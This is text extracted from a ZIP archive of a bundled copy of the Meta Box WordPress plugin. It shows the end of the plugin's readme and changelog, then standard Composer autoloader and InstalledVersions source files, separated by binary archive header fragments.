- [Meta Box Text Limiter](https://wordpress.org/plugins/meta-box-text-limiter/): Limit the number of characters or words entered for text and textarea fields.
- [Meta Box Yoast SEO](https://wordpress.org/plugins/meta-box-yoast-seo/): Add WordPress custom fields to Yoast SEO Content Analysis to generate more accurate SEO scores.

#### Premium Extensions

- [MB Admin Columns](https://metabox.io/plugins/mb-admin-columns/): Display WordPress custom fields in table columns in admin.
- [MB Blocks](https://metabox.io/plugins/mb-blocks/): Create custom Gutenberg blocks with PHP, using the same syntax in Meta Box.
- [MB Custom Table](https://metabox.io/plugins/mb-custom-table/): Save custom fields to custom tables instead of the default meta tables to reduce your database's size and increase its performance.
- [MB Frontend Submission](https://metabox.io/plugins/mb-frontend-submission/): Create frontend forms for users to submit posts.
- [MB Revision](https://metabox.io/plugins/mb-revision/): Track changes to custom fields in WordPress with revisions. You can compare and restore the changes smoothly.
- [MB Settings Page](https://metabox.io/plugins/mb-settings-page/): Create settings pages for themes, plugins or websites with beautiful syntax.
- [MB Term Meta](https://metabox.io/plugins/mb-term-meta/): Add custom fields to categories, tags or custom taxonomies.
- [MB User Meta](https://metabox.io/plugins/mb-user-meta/): Add custom fields to users.
- [MB Views](https://metabox.io/plugins/mb-views/): Outputting custom fields and build front-end templates for WordPress without touching theme files.
- [Meta Box Builder](https://metabox.io/plugins/meta-box-builder/): Create custom meta boxes and custom fields in WordPress using a user-friendly drag-and-drop interface.
- [Meta Box Columns](https://metabox.io/plugins/meta-box-columns/): Display eye-catching custom fields in WordPress by putting them into 12-column grids.
- [Meta Box Conditional Logic](https://metabox.io/plugins/meta-box-conditional-logic/): Add visibility dependency for custom meta boxes and custom fields in WordPress.
- [Meta Box Geolocation](https://metabox.io/plugins/meta-box-geolocation/): Automatically and instantly populate location data with the power of the Google Maps Geolocation API.
- [Meta Box Group](https://metabox.io/plugins/meta-box-group/): Create repeatable groups for better appearance and structure.
- [Meta Box Include Exclude](https://metabox.io/plugins/meta-box-include-exclude/): Show or hide meta boxes by ID, page template, taxonomy, or custom function.
- [Meta Box Show Hide](https://metabox.io/plugins/meta-box-show-hide-javascript/): Toggle meta boxes by page template, post format, taxonomy and category.
- [Meta Box Tabs](https://metabox.io/plugins/meta-box-tabs/): Painlessly create tabs for meta boxes with multiple styles and icons.
- [Meta Box Template](https://metabox.io/plugins/meta-box-template/): Make defining custom meta boxes and WordPress custom fields way easier with templates.
- [Meta Box Tooltip](https://metabox.io/plugins/meta-box-tooltip/): Display help information for custom fields with tooltips.

### Detailed Documentation

We provide regularly updated, and extensive documentation as well as tutorials on how to use MetaBox and custom fields in WordPress to your advantage as well as in the most efficient way possible.

Here are a few guides to quickly get you started with Meta Box and creating your own WordPress custom fields:

- [Introduction](https://docs.metabox.io/introduction/)
- [Custom post types](https://docs.metabox.io/custom-post-types/)
- [Custom fields](https://docs.metabox.io/custom-fields/)
- [Field settings](https://docs.metabox.io/field-settings/)
- [Displaying fields](https://docs.metabox.io/displaying-fields-with-code/)

Check out more on the [Meta Box Documentation](https://docs.metabox.io/) page.

### You might also like

If you like this plugin, you might also like our other WordPress products:

- [Slim SEO](https://wpslimseo.com) - A fast, lightweight and full-featured SEO plugin for WordPress with minimal configuration.
- [Slim SEO Schema](https://wpslimseo.com/products/slim-seo-schema/) - An advanced, powerful and flexible plugin to add schemas to WordPress.
- [Slim SEO Link Manager](https://wpslimseo.com/products/slim-seo-link-manager/) - Build internal link easier in WordPress with real-time reports.
- [GretaThemes](https://gretathemes.com) - Free and premium WordPress themes that clean, simple and just work.
- [Auto Listings](https://wpautolistings.com) - A car sale and dealership plugin for WordPress.

== Installation ==

1. Visit **Plugins > Add New**
1. Search for **Meta Box**
1. Click the **Install Now** button to install the plugin
1. Click the **Activate** button to activate the plugin

[Get started here](https://docs.metabox.io/introduction/).

== Frequently Asked Questions ==

== Screenshots ==
1. Text Fields
1. Basic Fields
1. Advanced Fields
1. File Image Upload Fields
1. Media Fields
1. Post Taxonomy Fields

== Changelog ==

= 5.9.7 - 2024-04-18 =
- Revert fix for Meta Box Conditional Logic

= 5.9.6 - 2024-04-17 =
- Add progress bar for field `file_upload`
- Force returned value of sanitize color to string
- Enqueue assets for FSE and widget (with block editor) screens
- Fix jumping layout for Meta Box Conditional Logic
- Fix errors when using cloneable map/osm fields

= 5.9.5 - 2024-03-26 =
- Add `save_format` settings to `time` field
- Field icon SVG not displaying

= 5.9.4 - 2024-02-27 =
- Fix security issue when users set object id in the helper functions where they don't have permission to view (such as private posts)

= 5.9.3 - 2024-02-02 =

**Highlights:**

Fix security issue of the output shortcode `[rwmb_meta]` not escaping. Users can disable escaping (to revert the previous behavior) by adding this snippet:

`add_filter( 'rwmb_meta_shortcode_secure', '__return_false' );
// or
add_filter( 'rwmb_meta_shortcode_secure_{$field_id}', '__return_false' );`

Other changes:

- Fix compatibility with PHP 8.3
- Fix not showing more than 10 saved users or terms

= 5.9.2 - 2024-01-22 =
- Validation: fix PHP warning when fields has non-consecutive keys
- Icon field: fix custom icon not working
- Update jQuery Validation to 1.20.0. Props Maarten.
- Prepare css to be inlined. Props Maarten.

= 5.9.1 - 2023-12-25 =
- Fix preview posts not working in the block editor in WP 6.4.
- Icon field: allow to set relative path/URL for settings
- Icon field: add support for scanning CSS file (`icon_css` setting) and parsing CSS class
- Autocomplete field: fix not saving first value if the value is 0 (integer).

= 5.9.0 - 2023-11-22 =

**Highlights:**

Add new `icon` field type, which supports Font Awesome Free, Font Awesome Pro and custom icon set. Can be used with icon font with CSS file or with SVGs. See the [plugin docs](https://docs.metabox.io/fields/icon/) for how to use it.

The `icon` field type will be added to the new version of Meta Box Builder soon, which will allow you to configure its settings with UI.

[See full changelog here](https://metabox.io/changelog/).

== Upgrade Notice ==
PK     0w\ۆ1    *  dashboard/lib/meta-box/vendor/autoload.phpnu [        <?php

// autoload.php @generated by Composer

if (PHP_VERSION_ID < 50600) {
    if (!headers_sent()) {
        header('HTTP/1.1 500 Internal Server Error');
    }
    $err = 'Composer 2.3.0 dropped support for autoloading on PHP <5.6 and you are running '.PHP_VERSION.', please upgrade PHP or use Composer 2.2 LTS via "composer self-update --2.2". Aborting.'.PHP_EOL;
    if (!ini_get('display_errors')) {
        if (PHP_SAPI === 'cli' || PHP_SAPI === 'phpdbg') {
            fwrite(STDERR, $err);
        } elseif (!headers_sent()) {
            echo $err;
        }
    }
    trigger_error(
        $err,
        E_USER_ERROR
    );
}

require_once __DIR__ . '/composer/autoload_real.php';

return ComposerAutoloaderInit2ecfb313af70de53ae33703de60ea8aa::getLoader();
PK     0w\/t      >  dashboard/lib/meta-box/vendor/composer/autoload_namespaces.phpnu [        <?php

// autoload_namespaces.php @generated by Composer

$vendorDir = dirname(__DIR__);
$baseDir = dirname($vendorDir);

return array(
);
PK     0w\5И    4  dashboard/lib/meta-box/vendor/composer/installed.phpnu [        <?php return array(
    'root' => array(
        'name' => 'wpmetabox/meta-box',
        'pretty_version' => '5.9.7',
        'version' => '5.9.7.0',
        'reference' => '2f116e4391f028221c20bdde01f2a1e63a4ded97',
        'type' => 'wordpress-plugin',
        'install_path' => __DIR__ . '/../../',
        'aliases' => array(),
        'dev' => true,
    ),
    'versions' => array(
        'wpmetabox/meta-box' => array(
            'pretty_version' => '5.9.7',
            'version' => '5.9.7.0',
            'reference' => '2f116e4391f028221c20bdde01f2a1e63a4ded97',
            'type' => 'wordpress-plugin',
            'install_path' => __DIR__ . '/../../',
            'aliases' => array(),
            'dev_requirement' => false,
        ),
    ),
);
PK     0w\X)    :  dashboard/lib/meta-box/vendor/composer/autoload_static.phpnu [        <?php

// autoload_static.php @generated by Composer

namespace Composer\Autoload;

class ComposerStaticInit2ecfb313af70de53ae33703de60ea8aa
{
    public static $prefixLengthsPsr4 = array (
        'M' => 
        array (
            'MetaBox\\' => 8,
        ),
    );

    public static $prefixDirsPsr4 = array (
        'MetaBox\\' => 
        array (
            0 => __DIR__ . '/../..' . '/src',
        ),
    );

    public static $classMap = array (
        'Composer\\InstalledVersions' => __DIR__ . '/..' . '/composer/InstalledVersions.php',
    );

    public static function getInitializer(ClassLoader $loader)
    {
        return \Closure::bind(function () use ($loader) {
            $loader->prefixLengthsPsr4 = ComposerStaticInit2ecfb313af70de53ae33703de60ea8aa::$prefixLengthsPsr4;
            $loader->prefixDirsPsr4 = ComposerStaticInit2ecfb313af70de53ae33703de60ea8aa::$prefixDirsPsr4;
            $loader->classMap = ComposerStaticInit2ecfb313af70de53ae33703de60ea8aa::$classMap;

        }, null, ClassLoader::class);
    }
}
PK     0w\ .  .  .  dashboard/lib/meta-box/vendor/composer/LICENSEnu [        
Copyright (c) Nils Adermann, Jordi Boggiano

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is furnished
to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.

PK     0w\u
?  ?  8  dashboard/lib/meta-box/vendor/composer/autoload_real.phpnu [        <?php

// autoload_real.php @generated by Composer

class ComposerAutoloaderInit2ecfb313af70de53ae33703de60ea8aa
{
    private static $loader;

    public static function loadClassLoader($class)
    {
        if ('Composer\Autoload\ClassLoader' === $class) {
            require __DIR__ . '/ClassLoader.php';
        }
    }

    /**
     * @return \Composer\Autoload\ClassLoader
     */
    public static function getLoader()
    {
        if (null !== self::$loader) {
            return self::$loader;
        }

        spl_autoload_register(array('ComposerAutoloaderInit2ecfb313af70de53ae33703de60ea8aa', 'loadClassLoader'), true, true);
        self::$loader = $loader = new \Composer\Autoload\ClassLoader(\dirname(__DIR__));
        spl_autoload_unregister(array('ComposerAutoloaderInit2ecfb313af70de53ae33703de60ea8aa', 'loadClassLoader'));

        require __DIR__ . '/autoload_static.php';
        call_user_func(\Composer\Autoload\ComposerStaticInit2ecfb313af70de53ae33703de60ea8aa::getInitializer($loader));

        $loader->register(true);

        return $loader;
    }
}
PK     0w\2@u?  ?  6  dashboard/lib/meta-box/vendor/composer/ClassLoader.phpnu [        <?php

/*
 * This file is part of Composer.
 *
 * (c) Nils Adermann <naderman@naderman.de>
 *     Jordi Boggiano <j.boggiano@seld.be>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Composer\Autoload;

/**
 * ClassLoader implements a PSR-0, PSR-4 and classmap class loader.
 *
 *     $loader = new \Composer\Autoload\ClassLoader();
 *
 *     // register classes with namespaces
 *     $loader->add('Symfony\Component', __DIR__.'/component');
 *     $loader->add('Symfony',           __DIR__.'/framework');
 *
 *     // activate the autoloader
 *     $loader->register();
 *
 *     // to enable searching the include path (eg. for PEAR packages)
 *     $loader->setUseIncludePath(true);
 *
 * In this example, if you try to use a class in the Symfony\Component
 * namespace or one of its children (Symfony\Component\Console for instance),
 * the autoloader will first look for the class under the component/
 * directory, and it will then fallback to the framework/ directory if not
 * found before giving up.
 *
 * This class is loosely based on the Symfony UniversalClassLoader.
 *
 * @author Fabien Potencier <fabien@symfony.com>
 * @author Jordi Boggiano <j.boggiano@seld.be>
 * @see    https://www.php-fig.org/psr/psr-0/
 * @see    https://www.php-fig.org/psr/psr-4/
 */
class ClassLoader
{
    /** @var \Closure(string):void */
    private static $includeFile;

    /** @var string|null */
    private $vendorDir;

    // PSR-4
    /**
     * @var array<string, array<string, int>>
     */
    private $prefixLengthsPsr4 = array();
    /**
     * @var array<string, list<string>>
     */
    private $prefixDirsPsr4 = array();
    /**
     * @var list<string>
     */
    private $fallbackDirsPsr4 = array();

    // PSR-0
    /**
     * List of PSR-0 prefixes
     *
     * Structured as array('F (first letter)' => array('Foo\Bar (full prefix)' => array('path', 'path2')))
     *
     * @var array<string, array<string, list<string>>>
     */
    private $prefixesPsr0 = array();
    /**
     * @var list<string>
     */
    private $fallbackDirsPsr0 = array();

    /** @var bool */
    private $useIncludePath = false;

    /**
     * @var array<string, string>
     */
    private $classMap = array();

    /** @var bool */
    private $classMapAuthoritative = false;

    /**
     * @var array<string, bool>
     */
    private $missingClasses = array();

    /** @var string|null */
    private $apcuPrefix;

    /**
     * @var array<string, self>
     */
    private static $registeredLoaders = array();

    /**
     * @param string|null $vendorDir
     */
    public function __construct($vendorDir = null)
    {
        $this->vendorDir = $vendorDir;
        self::initializeIncludeClosure();
    }

    /**
     * @return array<string, list<string>>
     */
    public function getPrefixes()
    {
        if (!empty($this->prefixesPsr0)) {
            return call_user_func_array('array_merge', array_values($this->prefixesPsr0));
        }

        return array();
    }

    /**
     * @return array<string, list<string>>
     */
    public function getPrefixesPsr4()
    {
        return $this->prefixDirsPsr4;
    }

    /**
     * @return list<string>
     */
    public function getFallbackDirs()
    {
        return $this->fallbackDirsPsr0;
    }

    /**
     * @return list<string>
     */
    public function getFallbackDirsPsr4()
    {
        return $this->fallbackDirsPsr4;
    }

    /**
     * @return array<string, string> Array of classname => path
     */
    public function getClassMap()
    {
        return $this->classMap;
    }

    /**
     * @param array<string, string> $classMap Class to filename map
     *
     * @return void
     */
    public function addClassMap(array $classMap)
    {
        if ($this->classMap) {
            $this->classMap = array_merge($this->classMap, $classMap);
        } else {
            $this->classMap = $classMap;
        }
    }

    /**
     * Registers a set of PSR-0 directories for a given prefix, either
     * appending or prepending to the ones previously set for this prefix.
     *
     * @param string              $prefix  The prefix
     * @param list<string>|string $paths   The PSR-0 root directories
     * @param bool                $prepend Whether to prepend the directories
     *
     * @return void
     */
    public function add($prefix, $paths, $prepend = false)
    {
        $paths = (array) $paths;
        if (!$prefix) {
            if ($prepend) {
                $this->fallbackDirsPsr0 = array_merge(
                    $paths,
                    $this->fallbackDirsPsr0
                );
            } else {
                $this->fallbackDirsPsr0 = array_merge(
                    $this->fallbackDirsPsr0,
                    $paths
                );
            }

            return;
        }

        $first = $prefix[0];
        if (!isset($this->prefixesPsr0[$first][$prefix])) {
            $this->prefixesPsr0[$first][$prefix] = $paths;

            return;
        }
        if ($prepend) {
            $this->prefixesPsr0[$first][$prefix] = array_merge(
                $paths,
                $this->prefixesPsr0[$first][$prefix]
            );
        } else {
            $this->prefixesPsr0[$first][$prefix] = array_merge(
                $this->prefixesPsr0[$first][$prefix],
                $paths
            );
        }
    }

    /**
     * Registers a set of PSR-4 directories for a given namespace, either
     * appending or prepending to the ones previously set for this namespace.
     *
     * @param string              $prefix  The prefix/namespace, with trailing '\\'
     * @param list<string>|string $paths   The PSR-4 base directories
     * @param bool                $prepend Whether to prepend the directories
     *
     * @throws \InvalidArgumentException
     *
     * @return void
     */
    public function addPsr4($prefix, $paths, $prepend = false)
    {
        $paths = (array) $paths;
        if (!$prefix) {
            // Register directories for the root namespace.
            if ($prepend) {
                $this->fallbackDirsPsr4 = array_merge(
                    $paths,
                    $this->fallbackDirsPsr4
                );
            } else {
                $this->fallbackDirsPsr4 = array_merge(
                    $this->fallbackDirsPsr4,
                    $paths
                );
            }
        } elseif (!isset($this->prefixDirsPsr4[$prefix])) {
            // Register directories for a new namespace.
            $length = strlen($prefix);
            if ('\\' !== $prefix[$length - 1]) {
                throw new \InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator.");
            }
            $this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length;
            $this->prefixDirsPsr4[$prefix] = $paths;
        } elseif ($prepend) {
            // Prepend directories for an already registered namespace.
            $this->prefixDirsPsr4[$prefix] = array_merge(
                $paths,
                $this->prefixDirsPsr4[$prefix]
            );
        } else {
            // Append directories for an already registered namespace.
            $this->prefixDirsPsr4[$prefix] = array_merge(
                $this->prefixDirsPsr4[$prefix],
                $paths
            );
        }
    }

    /**
     * Registers a set of PSR-0 directories for a given prefix,
     * replacing any others previously set for this prefix.
     *
     * @param string              $prefix The prefix
     * @param list<string>|string $paths  The PSR-0 base directories
     *
     * @return void
     */
    public function set($prefix, $paths)
    {
        if (!$prefix) {
            $this->fallbackDirsPsr0 = (array) $paths;
        } else {
            $this->prefixesPsr0[$prefix[0]][$prefix] = (array) $paths;
        }
    }

    /**
     * Registers a set of PSR-4 directories for a given namespace,
     * replacing any others previously set for this namespace.
     *
     * @param string              $prefix The prefix/namespace, with trailing '\\'
     * @param list<string>|string $paths  The PSR-4 base directories
     *
     * @throws \InvalidArgumentException
     *
     * @return void
     */
    public function setPsr4($prefix, $paths)
    {
        if (!$prefix) {
            $this->fallbackDirsPsr4 = (array) $paths;
        } else {
            $length = strlen($prefix);
            if ('\\' !== $prefix[$length - 1]) {
                throw new \InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator.");
            }
            $this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length;
            $this->prefixDirsPsr4[$prefix] = (array) $paths;
        }
    }

    /**
     * Turns on searching the include path for class files.
     *
     * @param bool $useIncludePath
     *
     * @return void
     */
    public function setUseIncludePath($useIncludePath)
    {
        $this->useIncludePath = $useIncludePath;
    }

    /**
     * Can be used to check if the autoloader uses the include path to check
     * for classes.
     *
     * @return bool
     */
    public function getUseIncludePath()
    {
        return $this->useIncludePath;
    }

    /**
     * Turns off searching the prefix and fallback directories for classes
     * that have not been registered with the class map.
     *
     * @param bool $classMapAuthoritative
     *
     * @return void
     */
    public function setClassMapAuthoritative($classMapAuthoritative)
    {
        $this->classMapAuthoritative = $classMapAuthoritative;
    }

    /**
     * Should class lookup fail if not found in the current class map?
     *
     * @return bool
     */
    public function isClassMapAuthoritative()
    {
        return $this->classMapAuthoritative;
    }

    /**
     * APCu prefix to use to cache found/not-found classes, if the extension is enabled.
     *
     * @param string|null $apcuPrefix
     *
     * @return void
     */
    public function setApcuPrefix($apcuPrefix)
    {
        $this->apcuPrefix = function_exists('apcu_fetch') && filter_var(ini_get('apc.enabled'), FILTER_VALIDATE_BOOLEAN) ? $apcuPrefix : null;
    }

    /**
     * The APCu prefix in use, or null if APCu caching is not enabled.
     *
     * @return string|null
     */
    public function getApcuPrefix()
    {
        return $this->apcuPrefix;
    }

    /**
     * Registers this instance as an autoloader.
     *
     * @param bool $prepend Whether to prepend the autoloader or not
     *
     * @return void
     */
    public function register($prepend = false)
    {
        spl_autoload_register(array($this, 'loadClass'), true, $prepend);

        if (null === $this->vendorDir) {
            return;
        }

        if ($prepend) {
            self::$registeredLoaders = array($this->vendorDir => $this) + self::$registeredLoaders;
        } else {
            unset(self::$registeredLoaders[$this->vendorDir]);
            self::$registeredLoaders[$this->vendorDir] = $this;
        }
    }

    /**
     * Unregisters this instance as an autoloader.
     *
     * @return void
     */
    public function unregister()
    {
        spl_autoload_unregister(array($this, 'loadClass'));

        if (null !== $this->vendorDir) {
            unset(self::$registeredLoaders[$this->vendorDir]);
        }
    }

    /**
     * Loads the given class or interface.
     *
     * @param  string    $class The name of the class
     * @return true|null True if loaded, null otherwise
     */
    public function loadClass($class)
    {
        if ($file = $this->findFile($class)) {
            $includeFile = self::$includeFile;
            $includeFile($file);

            return true;
        }

        return null;
    }

    /**
     * Finds the path to the file where the class is defined.
     *
     * @param string $class The name of the class
     *
     * @return string|false The path if found, false otherwise
     */
    public function findFile($class)
    {
        // class map lookup
        if (isset($this->classMap[$class])) {
            return $this->classMap[$class];
        }
        if ($this->classMapAuthoritative || isset($this->missingClasses[$class])) {
            return false;
        }
        if (null !== $this->apcuPrefix) {
            $file = apcu_fetch($this->apcuPrefix.$class, $hit);
            if ($hit) {
                return $file;
            }
        }

        $file = $this->findFileWithExtension($class, '.php');

        // Search for Hack files if we are running on HHVM
        if (false === $file && defined('HHVM_VERSION')) {
            $file = $this->findFileWithExtension($class, '.hh');
        }

        if (null !== $this->apcuPrefix) {
            apcu_add($this->apcuPrefix.$class, $file);
        }

        if (false === $file) {
            // Remember that this class does not exist.
            $this->missingClasses[$class] = true;
        }

        return $file;
    }

    /**
     * Returns the currently registered loaders keyed by their corresponding vendor directories.
     *
     * @return array<string, self>
     */
    public static function getRegisteredLoaders()
    {
        return self::$registeredLoaders;
    }

    /**
     * @param  string       $class
     * @param  string       $ext
     * @return string|false
     */
    private function findFileWithExtension($class, $ext)
    {
        // PSR-4 lookup
        $logicalPathPsr4 = strtr($class, '\\', DIRECTORY_SEPARATOR) . $ext;

        $first = $class[0];
        if (isset($this->prefixLengthsPsr4[$first])) {
            $subPath = $class;
            while (false !== $lastPos = strrpos($subPath, '\\')) {
                $subPath = substr($subPath, 0, $lastPos);
                $search = $subPath . '\\';
                if (isset($this->prefixDirsPsr4[$search])) {
                    $pathEnd = DIRECTORY_SEPARATOR . substr($logicalPathPsr4, $lastPos + 1);
                    foreach ($this->prefixDirsPsr4[$search] as $dir) {
                        if (file_exists($file = $dir . $pathEnd)) {
                            return $file;
                        }
                    }
                }
            }
        }

        // PSR-4 fallback dirs
        foreach ($this->fallbackDirsPsr4 as $dir) {
            if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr4)) {
                return $file;
            }
        }

        // PSR-0 lookup
        if (false !== $pos = strrpos($class, '\\')) {
            // namespaced class name
            $logicalPathPsr0 = substr($logicalPathPsr4, 0, $pos + 1)
                . strtr(substr($logicalPathPsr4, $pos + 1), '_', DIRECTORY_SEPARATOR);
        } else {
            // PEAR-like class name
            $logicalPathPsr0 = strtr($class, '_', DIRECTORY_SEPARATOR) . $ext;
        }

        if (isset($this->prefixesPsr0[$first])) {
            foreach ($this->prefixesPsr0[$first] as $prefix => $dirs) {
                if (0 === strpos($class, $prefix)) {
                    foreach ($dirs as $dir) {
                        if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr0)) {
                            return $file;
                        }
                    }
                }
            }
        }

        // PSR-0 fallback dirs
        foreach ($this->fallbackDirsPsr0 as $dir) {
            if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr0)) {
                return $file;
            }
        }

        // PSR-0 include paths.
        if ($this->useIncludePath && $file = stream_resolve_include_path($logicalPathPsr0)) {
            return $file;
        }

        return false;
    }

    /**
     * @return void
     */
    private static function initializeIncludeClosure()
    {
        if (self::$includeFile !== null) {
            return;
        }

        /**
         * Scope isolated include.
         *
         * Prevents access to $this/self from included files.
         *
         * @param  string $file
         * @return void
         */
        self::$includeFile = \Closure::bind(static function($file) {
            include $file;
        }, null, null);
    }
}
PK     0w\ 2?  ?  <  dashboard/lib/meta-box/vendor/composer/InstalledVersions.phpnu [        <?php

/*
 * This file is part of Composer.
 *
 * (c) Nils Adermann <naderman@naderman.de>
 *     Jordi Boggiano <j.boggiano@seld.be>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Composer;

use Composer\Autoload\ClassLoader;
use Composer\Semver\VersionParser;

/**
 * This class is copied in every Composer installed project and available to all
 *
 * See also https://getcomposer.org/doc/07-runtime.md#installed-versions
 *
 * To require its presence, you can require `composer-runtime-api ^2.0`
 *
 * @final
 */
class InstalledVersions
{
    /**
     * @var mixed[]|null
     * @psalm-var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}|array{}|null
     */
    private static $installed;

    /**
     * @var bool|null
     */
    private static $canGetVendors;

    /**
     * @var array[]
     * @psalm-var array<string, array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}>
     */
    private static $installedByVendor = array();

    /**
     * Returns a list of all package names which are present, either by being installed, replaced or provided
     *
     * @return string[]
     * @psalm-return list<string>
     */
    public static function getInstalledPackages()
    {
        $packages = array();
        foreach (self::getInstalled() as $installed) {
            $packages[] = array_keys($installed['versions']);
        }

        if (1 === \count($packages)) {
            return $packages[0];
        }

        return array_keys(array_flip(\call_user_func_array('array_merge', $packages)));
    }

    /**
     * Returns a list of all package names with a specific type e.g. 'library'
     *
     * @param  string   $type
     * @return string[]
     * @psalm-return list<string>
     */
    public static function getInstalledPackagesByType($type)
    {
        $packagesByType = array();

        foreach (self::getInstalled() as $installed) {
            foreach ($installed['versions'] as $name => $package) {
                if (isset($package['type']) && $package['type'] === $type) {
                    $packagesByType[] = $name;
                }
            }
        }

        return $packagesByType;
    }

    /**
     * Checks whether the given package is installed
     *
     * This also returns true if the package name is provided or replaced by another package
     *
     * @param  string $packageName
     * @param  bool   $includeDevRequirements
     * @return bool
     */
    public static function isInstalled($packageName, $includeDevRequirements = true)
    {
        foreach (self::getInstalled() as $installed) {
            if (isset($installed['versions'][$packageName])) {
                return $includeDevRequirements || !isset($installed['versions'][$packageName]['dev_requirement']) || $installed['versions'][$packageName]['dev_requirement'] === false;
            }
        }

        return false;
    }

    /**
     * Checks whether the given package satisfies a version constraint
     *
     * e.g. If you want to know whether version 2.3+ of package foo/bar is installed, you would call:
     *
     *   Composer\InstalledVersions::satisfies(new VersionParser, 'foo/bar', '^2.3')
     *
     * @param  VersionParser $parser      Install composer/semver to have access to this class and functionality
     * @param  string        $packageName
     * @param  string|null   $constraint  A version constraint to check for, if you pass one you have to make sure composer/semver is required by your package
     * @return bool
     */
    public static function satisfies(VersionParser $parser, $packageName, $constraint)
    {
        $constraint = $parser->parseConstraints((string) $constraint);
        $provided = $parser->parseConstraints(self::getVersionRanges($packageName));

        return $provided->matches($constraint);
    }

    /**
     * Returns a version constraint representing all the range(s) which are installed for a given package
     *
     * It is easier to use this via isInstalled() with the $constraint argument if you need to check
     * whether a given version of a package is installed, and not just whether it exists
     *
     * @param  string $packageName
     * @return string Version constraint usable with composer/semver
     */
    public static function getVersionRanges($packageName)
    {
        foreach (self::getInstalled() as $installed) {
            if (!isset($installed['versions'][$packageName])) {
                continue;
            }

            $ranges = array();
            if (isset($installed['versions'][$packageName]['pretty_version'])) {
                $ranges[] = $installed['versions'][$packageName]['pretty_version'];
            }
            if (array_key_exists('aliases', $installed['versions'][$packageName])) {
                $ranges = array_merge($ranges, $installed['versions'][$packageName]['aliases']);
            }
            if (array_key_exists('replaced', $installed['versions'][$packageName])) {
                $ranges = array_merge($ranges, $installed['versions'][$packageName]['replaced']);
            }
            if (array_key_exists('provided', $installed['versions'][$packageName])) {
                $ranges = array_merge($ranges, $installed['versions'][$packageName]['provided']);
            }

            return implode(' || ', $ranges);
        }

        throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed');
    }

    /**
     * @param  string      $packageName
     * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as version, use satisfies or getVersionRanges if you need to know if a given version is present
     */
    public static function getVersion($packageName)
    {
        foreach (self::getInstalled() as $installed) {
            if (!isset($installed['versions'][$packageName])) {
                continue;
            }

            if (!isset($installed['versions'][$packageName]['version'])) {
                return null;
            }

            return $installed['versions'][$packageName]['version'];
        }

        throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed');
    }

    /**
     * @param  string      $packageName
     * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as version, use satisfies or getVersionRanges if you need to know if a given version is present
     */
    public static function getPrettyVersion($packageName)
    {
        foreach (self::getInstalled() as $installed) {
            if (!isset($installed['versions'][$packageName])) {
                continue;
            }

            if (!isset($installed['versions'][$packageName]['pretty_version'])) {
                return null;
            }

            return $installed['versions'][$packageName]['pretty_version'];
        }

        throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed');
    }

    /**
     * @param  string      $packageName
     * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as reference
     */
    public static function getReference($packageName)
    {
        foreach (self::getInstalled() as $installed) {
            if (!isset($installed['versions'][$packageName])) {
                continue;
            }

            if (!isset($installed['versions'][$packageName]['reference'])) {
                return null;
            }

            return $installed['versions'][$packageName]['reference'];
        }

        throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed');
    }

    /**
     * @param  string      $packageName
     * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as install path. Packages of type metapackages also have a null install path.
     */
    public static function getInstallPath($packageName)
    {
        foreach (self::getInstalled() as $installed) {
            if (!isset($installed['versions'][$packageName])) {
                continue;
            }

            return isset($installed['versions'][$packageName]['install_path']) ? $installed['versions'][$packageName]['install_path'] : null;
        }

        throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed');
    }

    /**
     * @return array
     * @psalm-return array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}
     */
    public static function getRootPackage()
    {
        $installed = self::getInstalled();

        return $installed[0]['root'];
    }

    /**
     * Returns the raw installed.php data for custom implementations
     *
     * @deprecated Use getAllRawData() instead which returns all datasets for all autoloaders present in the process. getRawData only returns the first dataset loaded, which may not be what you expect.
     * @return array[]
     * @psalm-return array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}
     */
    public static function getRawData()
    {
